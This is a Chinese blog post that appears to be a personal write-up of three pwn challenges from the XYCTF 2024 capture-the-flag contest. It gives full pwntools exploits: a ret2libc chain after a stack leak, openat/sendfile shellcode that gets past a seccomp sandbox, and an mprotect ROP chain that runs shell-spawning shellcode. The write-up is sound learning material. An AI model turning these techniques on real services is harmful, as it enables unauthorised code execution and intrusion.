wyxhhh

[pwn]XYCTF 2024 个人WriteUp

由于本人菜鸡和时间问题,只打了前两周,打出了pwn的三道简单题目,记录自己的做题过程。

XYCTF 2024 WriteUp

>pwn

1.hello_world(签到)

image-20240404091316707

常规checksec

IDA反编译进入主函数

image-20240404091637577

发现read可以进行两次栈溢出,同时%s格式化字符串可以泄露栈上地址。

vuln程序中没有system和/bin/sh字符串,考虑ret2libc,

同时程序中没有发现可以利用的 pop rdi,或许可以利用libc中的gadgets。

所以目标已经很明确了,只要泄露libc的基地址,就可以构造payload获取shell。

那么gdb动态调试

image-20240404092434367

可以看到rbp位置有一个libc中函数地址

利用%s输出字符串遇\x00停止的特点,我们输入0x28个字符,因为没有\x00,所以会继续输出后续的地址,(注意如果地址中包含\x00也会截断),从而可以计算偏移得到libc基地址。

附完整exp

from pwn import *

#p = process("./vuln")
p = remote("xyctf.top", 36826)

libc_pop_rdi = 0x2a3e5
libc_ret = 0x29139			#可以在libc中找到
libc = ELF("./libc.so.6")

context(os="linux", arch="amd64")
#context(log_level="debug")

#gdb.attach(p,"b printf")

payload = b'b'*0x28
p.recvuntil(b'please input your name: ')
p.send(payload)
p.recvuntil(b"b"*0x28)
leak_addr = u64(p.recv(6).ljust(8, b'\x00'))
#leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
printf_addr = leak_addr + 0x36a0f - 175
#gdb动调计算偏移,此处稍显繁琐,也可以利用其它函数计算基地址

print("leak:", hex(leak_addr))  #泄露栈上地址
print("printf_addr:", hex(printf_addr))

libc_base = printf_addr - libc.sym["printf"]

pop_rdi = libc_pop_rdi + libc_base
ret = libc_base + libc_ret
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))

payload = cyclic(0x28) + p64(ret) + p64(pop_rdi)+ p64(binsh_addr) + p64(system_addr)
#注意堆栈平衡
p.sendline(payload)

p.interactive()

2.invisible_flag

image-20240408185828523

checksec

IDA反编译

image-20240408185955389

可以看到程序会执行我们输入的shellcode,开启了沙盒

image-20240408190121493

禁用open read write

考虑使用openat(与open类似)打开flag文件

sendfile将其输出到终端上

exp,使用了shellcraft模块

from pwn import *

context(arch="amd64", os="linux")

#p = process("./vuln")
p = remote("xxx.xx.xxx.x",49443)
#gdb.attach(p,"b 0x1465")

shellcode = shellcraft.openat(-100,"flag",0)
#-100 AT_FDCWD当前目录
shellcode += shellcraft.sendfile(1,3,0,50)
#stdout 1 ;第一个打开的文件即flag 3
shellcode = asm(shellcode)


p.sendline(shellcode)

p.interactive()

image-20240413132206340

checksec,发现Canary,但是实际上是没有的,静态链接文件

image-20240413132331283

反编译进入vuln函数,明显的栈溢出,没有发现system函数和/bin/sh字符串,因为是静态链接,ret2libc是不行了,那么可以想到写入shellcode,并挟持rip执行shellcode拿到shell。

mproptect函数将某一内存区权限修改为可写可执行,read写入shellcode,栈溢出挟持rip执行shellcode则成功拿到shell

这里向got表写入,ROP构造

mprotect(got_addr,0x1000,7)
#参数依次是 修改的内存空间地址,修改的长度,修改的权限(7表示可读可写可执行)
read(0,got_addr,0x1000)

发送shellcode写入内存,栈溢出挟持到got_addr即可获取shell

附exp

from pwn import *

#p = process("./vuln")
p = remote("xxx.xx.xxx.x",54207)
context(arch="amd64",os="linux")

pop_rdi = 0x401f1f
pop_rsi = 0x409f8e
pop_rdx = 0x451322
ret = 0x40101a

mprotect_addr = 0x4482C0
read_addr = 0x447580

got_plt = 0x4C5000
main_addr = 0x40184E

shellcode = asm(shellcraft.sh())

payload = cyclic(0x28) + p64(pop_rdi) + p64(got_plt) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(7) + p64(mprotect_addr) +  p64(main_addr)
p.sendlineafter(b"ret2??",payload)

payload = cyclic(0x28) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(got_plt) + p64(pop_rdx) + p64(0x1000) + p64(read_addr) + p64(main_addr)
p.sendlineafter(b"ret2??",payload)

sleep(1)
p.sendline(shellcode)

payload = cyclic(0x28) + p64(got_plt) + p64(main_addr)
p.sendlineafter(b"ret2??",payload)

#gdb.attach(p,"b read")

p.interactive()

posted on 2024-04-28 09:09  wyx0404  阅读(40)  评论(0编辑  收藏  举报

导航